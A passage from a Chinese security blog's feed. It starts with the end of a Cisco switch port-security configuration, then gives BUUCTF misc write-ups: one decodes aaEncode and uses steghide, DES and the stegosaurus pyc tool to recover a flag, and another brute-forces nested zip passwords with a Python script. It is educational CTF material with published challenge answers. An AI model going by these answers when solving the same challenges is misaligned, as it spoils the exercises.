</span></span><span class="line"><span class="cl"><span class="n">switchport</span> <span class="n">mode</span> <span class="n">access</span>
</span></span><span class="line"><span class="cl"><span class="p">!</span> <span class="n">开启端口安全</span>
</span></span><span class="line"><span class="cl"><span class="n">switchport</span> <span class="nb">port-security</span> 
</span></span><span class="line"><span class="cl"><span class="p">!</span> <span class="n">设置最大Mac学习数为2</span>
</span></span><span class="line"><span class="cl"><span class="n">switchport</span> <span class="nb">port-security</span> <span class="n">maximum</span> <span class="mf">2</span>
</span></span><span class="line"><span class="cl"><span class="p">!</span> <span class="n">设置学习到的Mac地址将被保存</span>
</span></span><span class="line"><span class="cl"><span class="n">switchport</span> <span class="nb">port-security</span> <span class="nb">mac-address</span> <span class="n">sticky</span> 
</span></span><span class="line"><span class="cl"><span class="p">!</span> <span class="n">设置超过措施</span><span class="err">：</span><span class="n">关闭端口</span>
</span></span><span class="line"><span class="cl"><span class="n">switchport</span> <span class="nb">port-security</span> <span class="n">violation</span> <span class="n">shutdown</span> 
</span></span><span class="line"><span class="cl"><span class="p">!</span> <span class="n">进入不使用的端口</span>
</span></span><span class="line"><span class="cl"><span class="n">interface</span> <span class="n">range</span> <span class="n">fastEthernet</span> <span class="mf">0</span><span class="p">/</span><span class="mf">5</span> <span class="p">-</span> <span class="n">fastEthernet</span> <span class="mf">0</span><span class="p">/</span><span class="mf">22</span>
</span></span><span class="line"><span class="cl"><span class="p">!</span> <span class="n">关闭</span>
</span></span><span class="line"><span class="cl"><span class="n">shutdown</span>
</span></span></code></pre></td></tr></table>
</div>
</div>]]></content:encoded>
    </item>
    <item>
      <title>BUUCTF [ACTF新生赛2020]剑龙 1</title>
      <link>https://yuexuan521.github.io/zh/posts/buuctf-actf%E6%96%B0%E7%94%9F%E8%B5%9B2020%E5%89%91%E9%BE%99-1/</link>
      <pubDate>Mon, 13 Jan 2025 08:30:00 +0000</pubDate>
      <guid>https://yuexuan521.github.io/zh/posts/buuctf-actf%E6%96%B0%E7%94%9F%E8%B5%9B2020%E5%89%91%E9%BE%99-1/</guid>
      <description>&lt;p&gt;
&lt;div class=&#34;post-img-view&#34;&gt;
    &lt;a data-fancybox=&#34;gallery&#34; href=&#34;https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228190557074.png&#34;&gt;
        &lt;img src=&#34;https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228190557074.png&#34; 
             alt=&#34;&#34; 
              
             loading=&#34;lazy&#34;
        /&gt;
    &lt;/a&gt;
&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;BUUCTF: &lt;a href=&#34;https://buuoj.cn/challenges&#34;target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&gt;https://buuoj.cn/challenges&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;相关阅读
&lt;a href=&#34;https://ctf-wiki.org/&#34;target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&gt;CTF Wiki&lt;/a&gt;
&lt;a href=&#34;https://hello-ctf.com/HC_Start/&#34;target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&gt;Hello CTF&lt;/a&gt;
&lt;a href=&#34;https://ns.openctf.net/learn/&#34;target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&gt;NewStar CTF&lt;/a&gt;
&lt;a href=&#34;https://blog.csdn.net/pone2233/article/details/108601733&#34;target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&gt;BuuCTF难题详解| Misc | [ACTF新生赛2020]剑龙&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;
&lt;div class=&#34;post-img-view&#34;&gt;
    &lt;a data-fancybox=&#34;gallery&#34; href=&#34;https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228190559563.png&#34;&gt;
        &lt;img src=&#34;https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228190559563.png&#34; 
             alt=&#34;在这里插入图片描述&#34; 
              
             loading=&#34;lazy&#34;
        /&gt;
    &lt;/a&gt;
&lt;/div&gt;&lt;/p&gt;
&lt;h3 id=&#34;题目描述&#34;&gt;题目描述：&lt;/h3&gt;
&lt;p&gt;得到的 flag 请包上 flag{} 提交。&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228190557074.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228190557074.png" 
             alt="" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p><strong>BUUCTF: <a href="https://buuoj.cn/challenges"target="_blank" rel="noopener noreferrer">https://buuoj.cn/challenges</a></strong></p>
<hr>
<p>相关阅读
<a href="https://ctf-wiki.org/"target="_blank" rel="noopener noreferrer">CTF Wiki</a>
<a href="https://hello-ctf.com/HC_Start/"target="_blank" rel="noopener noreferrer">Hello CTF</a>
<a href="https://ns.openctf.net/learn/"target="_blank" rel="noopener noreferrer">NewStar CTF</a>
<a href="https://blog.csdn.net/pone2233/article/details/108601733"target="_blank" rel="noopener noreferrer">BuuCTF难题详解| Misc | [ACTF新生赛2020]剑龙</a></p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228190559563.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228190559563.png" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<h3 id="题目描述">题目描述：</h3>
<p>得到的 flag 请包上 flag{} 提交。</p>
<h3 id="密文">密文：</h3>
<p>下载附件，解压得到

<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228190601129.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228190601129.png" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<hr>
<h3 id="解题思路">解题思路：</h3>
<p>1、先看一下hint.zip压缩包，解压得到</p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228190602214.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228190602214.png" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>pwd.txt内容如下：</p>
<blockquote>
<p>ﾟωﾟﾉ= /｀ｍ´）ﾉ ~┻━┻ // <em>´∇｀</em> / [‘ <em>&rsquo;]; o=(ﾟｰﾟ) =</em> =3; c=(ﾟΘﾟ) =(ﾟｰﾟ)-(ﾟｰﾟ); (ﾟДﾟ) =(ﾟΘﾟ)= (o<sup><em></sup>o)/ (o<sup></em></sup>o);(ﾟДﾟ)={ﾟΘﾟ: ‘ <em>’ ,ﾟωﾟﾉ : ((ﾟωﾟﾉ==3) +&rsquo;</em> ’) [ﾟΘﾟ] ,ﾟｰﾟﾉ :(ﾟωﾟﾉ+ ‘ <em>‘)[o<sup>_</sup>o -(ﾟΘﾟ)] ,ﾟДﾟﾉ:((ﾟｰﾟ==3) +’</em> ’)[ﾟｰﾟ] }; (ﾟДﾟ) [ﾟΘﾟ] =((ﾟωﾟﾉ <mark>3) +‘ <em>‘) [c<sup>_</sup>o];(ﾟДﾟ) [‘c’] = ((ﾟДﾟ)+’</em> ’) [ (ﾟｰﾟ)+(ﾟｰﾟ)-(ﾟΘﾟ) ];(ﾟДﾟ) [‘o’] = ((ﾟДﾟ)+‘ <em>‘) [ﾟΘﾟ];(ﾟoﾟ)=(ﾟДﾟ) [‘c’]+(ﾟДﾟ) [‘o’]+(ﾟωﾟﾉ +’</em> ’)[ﾟΘﾟ]+ ((ﾟωﾟﾉ</mark> 3) +’ <em>‘) [ﾟｰﾟ] + ((ﾟДﾟ) +’</em> ‘) [(ﾟｰﾟ)+(ﾟｰﾟ)]+ ((ﾟｰﾟ <mark>3) +‘<em>’) [ﾟΘﾟ]+((ﾟｰﾟ</mark> 3) +’ <em>‘) [(ﾟｰﾟ) - (ﾟΘﾟ)]+(ﾟДﾟ) [‘c’]+((ﾟДﾟ)+’</em> ‘) [(ﾟｰﾟ)+(ﾟｰﾟ)]+ (ﾟДﾟ) [‘o’]+((ﾟｰﾟ <mark>3) +‘ <em>‘) [ﾟΘﾟ];(ﾟДﾟ) [’</em> ’] =(o<sup></em></sup>o) [ﾟoﾟ] [ﾟoﾟ];(ﾟεﾟ)=((ﾟｰﾟ</mark> 3) +’ <em>‘) [ﾟΘﾟ]+ (ﾟДﾟ) .ﾟДﾟﾉ+((ﾟДﾟ)+’</em> ‘) [(ﾟｰﾟ) + (ﾟｰﾟ)]+((ﾟｰﾟ <mark>3) +‘<em>’) [o<sup></em></sup>o -ﾟΘﾟ]+((ﾟｰﾟ</mark> 3) +’ <em>‘) [ﾟΘﾟ]+ (ﾟωﾟﾉ +’</em> ‘) [ﾟΘﾟ]; (ﾟｰﾟ)+=(ﾟΘﾟ); (ﾟДﾟ)[ﾟεﾟ]=’\‘; (ﾟДﾟ).ﾟΘﾟﾉ=(ﾟДﾟ+ ﾟｰﾟ)[o<sup><em></sup>o -(ﾟΘﾟ)];(oﾟｰﾟo)=(ﾟωﾟﾉ +’ *‘)[c<sup></em></sup>o];(ﾟДﾟ) [ﾟoﾟ]=’&quot;‘;(ﾟДﾟ) [’* ‘] ( (ﾟДﾟ) [’ <em>‘] (ﾟεﾟ+(ﾟДﾟ)[ﾟoﾟ]+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o<sup><em></sup>o) +(o<sup></em></sup>o))+ ((ﾟｰﾟ) + (o<sup><em></sup>o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (o<sup></em></sup>o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ ((ﾟｰﾟ) + (o<sup><em></sup>o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+((o<sup></em></sup>o) +(o<sup><em></sup>o))+ (o<sup></em></sup>o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟｰﾟ)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟoﾟ]) (ﾟΘﾟ)) (’</em> &lsquo;);</p>
</blockquote>
<p>确认为aaEncode编码，使用在线工具解得 <code>welcom3!</code></p>
<p><a href="https://toolwa.com/aaencode/"target="_blank" rel="noopener noreferrer">在线工具：https://toolwa.com/aaencode/</a></p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228190603819.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228190603819.png" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>2、剩下一张图片，再加上一个密码，确认使用steghide工具加密。</p>
<p>steghide下载地址： <a href="https://sourceforge.net/projects/steghide/"target="_blank" rel="noopener noreferrer">https://sourceforge.net/projects/steghide/</a></p>
<p>使用如下命令，得到隐藏信息。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">steghide extract -sf hh.jpg -p welcom3!
</span></span></code></pre></td></tr></table>
</div>
</div><p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228190605825.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228190605825.png" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228190606909.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228190606909.png" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>在hh.jpg的属性找到密钥： <code>@#$%^&amp;%%$)</code></p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228190608265.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228190608265.png" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>解得如下信息：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">think</span> <span class="n">about</span> <span class="n">stegosaurus</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>DES加解密： <a href="https://www.sojson.com/encrypt_des.html"target="_blank" rel="noopener noreferrer">https://www.sojson.com/encrypt_des.html</a>

<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228190609623.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228190609623.png" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>3、搜索发现对应题目“剑龙”，但其实指的是stegosaurus pyc隐写工具。</p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228190611323.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228190611323.png" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>O_O文件的确是一个pyc文件。</p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228190613551.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228190613551.png" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>stegosaurus下载地址： <a href="https://github.com/AngelKitty/stegosaurus"target="_blank" rel="noopener noreferrer">https://github.com/AngelKitty/stegosaurus</a></p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228190614895.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228190614895.png" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>运行脚本加上 <code>-x</code> 参数，得到flag： <code>flag{3teg0Sauru3_!1}</code></p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228190617000.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228190617000.png" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<h3 id="flag">flag：</h3>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"> flag<span class="o">{</span>3teg0Sauru3_!1<span class="o">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div>]]></content:encoded>
    </item>
    <item>
      <title>BUUCTF [MRCTF2020]千层套路 1</title>
      <link>https://yuexuan521.github.io/zh/posts/buuctf-mrctf2020%E5%8D%83%E5%B1%82%E5%A5%97%E8%B7%AF-1/</link>
      <pubDate>Mon, 09 Dec 2024 08:30:00 +0000</pubDate>
      <guid>https://yuexuan521.github.io/zh/posts/buuctf-mrctf2020%E5%8D%83%E5%B1%82%E5%A5%97%E8%B7%AF-1/</guid>
      <description>&lt;p&gt;
&lt;div class=&#34;post-img-view&#34;&gt;
    &lt;a data-fancybox=&#34;gallery&#34; href=&#34;https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228191656514.png&#34;&gt;
        &lt;img src=&#34;https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228191656514.png&#34; 
             alt=&#34;&#34; 
              
             loading=&#34;lazy&#34;
        /&gt;
    &lt;/a&gt;
&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;BUUCTF: &lt;a href=&#34;https://buuoj.cn/challenges&#34;target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&gt;https://buuoj.cn/challenges&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;相关阅读
&lt;a href=&#34;https://ctf-wiki.org/&#34;target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&gt;CTF Wiki&lt;/a&gt;
&lt;a href=&#34;https://hello-ctf.com/HC_Start/&#34;target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&gt;Hello CTF&lt;/a&gt;
&lt;a href=&#34;https://ns.openctf.net/learn/&#34;target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&gt;NewStar CTF&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;
&lt;div class=&#34;post-img-view&#34;&gt;
    &lt;a data-fancybox=&#34;gallery&#34; href=&#34;https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228191658566.png&#34;&gt;
        &lt;img src=&#34;https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228191658566.png&#34; 
             alt=&#34;在这里插入图片描述&#34; 
              
             loading=&#34;lazy&#34;
        /&gt;
    &lt;/a&gt;
&lt;/div&gt;&lt;/p&gt;
&lt;h3 id=&#34;题目描述&#34;&gt;题目描述：&lt;/h3&gt;
&lt;p&gt;得到的 flag 请包上 flag{} 提交。
感谢天璇战队供题。&lt;/p&gt;
&lt;h3 id=&#34;密文&#34;&gt;密文：&lt;/h3&gt;
&lt;p&gt;下载附件，得到attachment.zip文件&lt;/p&gt;
&lt;p&gt;
&lt;div class=&#34;post-img-view&#34;&gt;
    &lt;a data-fancybox=&#34;gallery&#34; href=&#34;https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228191700604.png&#34;&gt;
        &lt;img src=&#34;https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228191700604.png&#34; 
             alt=&#34;在这里插入图片描述&#34; 
              
             loading=&#34;lazy&#34;
        /&gt;
    &lt;/a&gt;
&lt;/div&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&#34;解题思路&#34;&gt;解题思路：&lt;/h3&gt;
&lt;p&gt;1、解压attachment.zip文件，得到0573.zip文件，向下解压需要密码。&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228191656514.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228191656514.png" 
             alt="" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p><strong>BUUCTF: <a href="https://buuoj.cn/challenges"target="_blank" rel="noopener noreferrer">https://buuoj.cn/challenges</a></strong></p>
<hr>
<p>相关阅读
<a href="https://ctf-wiki.org/"target="_blank" rel="noopener noreferrer">CTF Wiki</a>
<a href="https://hello-ctf.com/HC_Start/"target="_blank" rel="noopener noreferrer">Hello CTF</a>
<a href="https://ns.openctf.net/learn/"target="_blank" rel="noopener noreferrer">NewStar CTF</a></p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228191658566.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228191658566.png" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<h3 id="题目描述">题目描述：</h3>
<p>得到的 flag 请包上 flag{} 提交。
感谢天璇战队供题。</p>
<h3 id="密文">密文：</h3>
<p>下载附件，得到attachment.zip文件</p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228191700604.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228191700604.png" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<hr>
<h3 id="解题思路">解题思路：</h3>
<p>1、解压attachment.zip文件，得到0573.zip文件，向下解压需要密码。</p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228191701942.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228191701942.png" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>用Bandizip打开attachment.zip文件，看到压缩包备注，密码均为四位数字</p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228191703718.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228191703718.png" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>我开始使用Ziperello爆破0573.zip，得到密码0573。</p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228191705286.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228191705286.png" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>使用密码向下解压压缩包，得到0114.zip。至此，我明白每个压缩包的解压密码就是它的文件名，并且向下可能有1000层压缩。（从题目千层套路推测出）</p>
<p>2、编写python脚本，进行自动解压（使用该脚本你可能需要删掉一批解压出的文件，再继续解压）</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># @Author：YueXuan</span>
</span></span><span class="line"><span class="cl"><span class="c1"># @Date  ：2024/9/24 17:19</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">zipfile</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">os</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">extract_zip_with_filename_as_password</span><span class="p">(</span><span class="n">zip_path</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># 检查文件是否存在</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="ow">not</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">exists</span><span class="p">(</span><span class="n">zip_path</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;File </span><span class="si">{</span><span class="n">zip_path</span><span class="si">}</span><span class="s2"> does not exist.&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># 获取ZIP文件名（不包含路径）</span>
</span></span><span class="line"><span class="cl">    <span class="n">zip_filename</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">basename</span><span class="p">(</span><span class="n">zip_path</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># 获取不带扩展名的文件名</span>
</span></span><span class="line"><span class="cl">    <span class="n">base_name</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">splitext</span><span class="p">(</span><span class="n">zip_filename</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># 尝试使用文件名作为密码解压ZIP文件</span>
</span></span><span class="line"><span class="cl">    <span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">with</span> <span class="n">zipfile</span><span class="o">.</span><span class="n">ZipFile</span><span class="p">(</span><span class="n">zip_path</span><span class="p">,</span> <span class="s1">&#39;r&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">zip_ref</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="n">zip_ref</span><span class="o">.</span><span class="n">extractall</span><span class="p">(</span><span class="n">pwd</span><span class="o">=</span><span class="n">base_name</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">            <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Successfully extracted </span><span class="si">{</span><span class="n">zip_path</span><span class="si">}</span><span class="s2"> with password: </span><span class="si">{</span><span class="n">base_name</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="c1"># 检查解压后的文件是否还是ZIP文件</span>
</span></span><span class="line"><span class="cl">            <span class="k">for</span> <span class="n">file</span> <span class="ow">in</span> <span class="n">zip_ref</span><span class="o">.</span><span class="n">namelist</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">                <span class="n">new_zip_path</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">os</span><span class="o">.</span><span class="n">getcwd</span><span class="p">(),</span> <span class="n">file</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="k">if</span> <span class="n">zipfile</span><span class="o">.</span><span class="n">is_zipfile</span><span class="p">(</span><span class="n">new_zip_path</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">                    <span class="c1"># 如果是ZIP文件，则递归调用函数继续解压</span>
</span></span><span class="line"><span class="cl">                    <span class="n">extract_zip_with_filename_as_password</span><span class="p">(</span><span class="n">new_zip_path</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Extracted file </span><span class="si">{</span><span class="n">file</span><span class="si">}</span><span class="s2"> is not a ZIP file.&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">except</span> <span class="ne">RuntimeError</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Failed to extract </span><span class="si">{</span><span class="n">zip_path</span><span class="si">}</span><span class="s2">: </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 使用示例</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 假设你的ZIP文件位于当前目录下，名称为0573.zip</span>
</span></span><span class="line"><span class="cl"><span class="n">zip_path</span> <span class="o">=</span> <span class="s2">&#34;0573.zip&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">extract_zip_with_filename_as_password</span><span class="p">(</span><span class="n">zip_path</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>最后得到qr.txt文件，打开如下所示</p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228191707210.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228191707210.png" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>3、猜测为一系列的RGB颜色值，比如 (255, 255, 255)，这表示白色。编写脚本，绘制出这些数据所要表现的图像。脚本如下：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
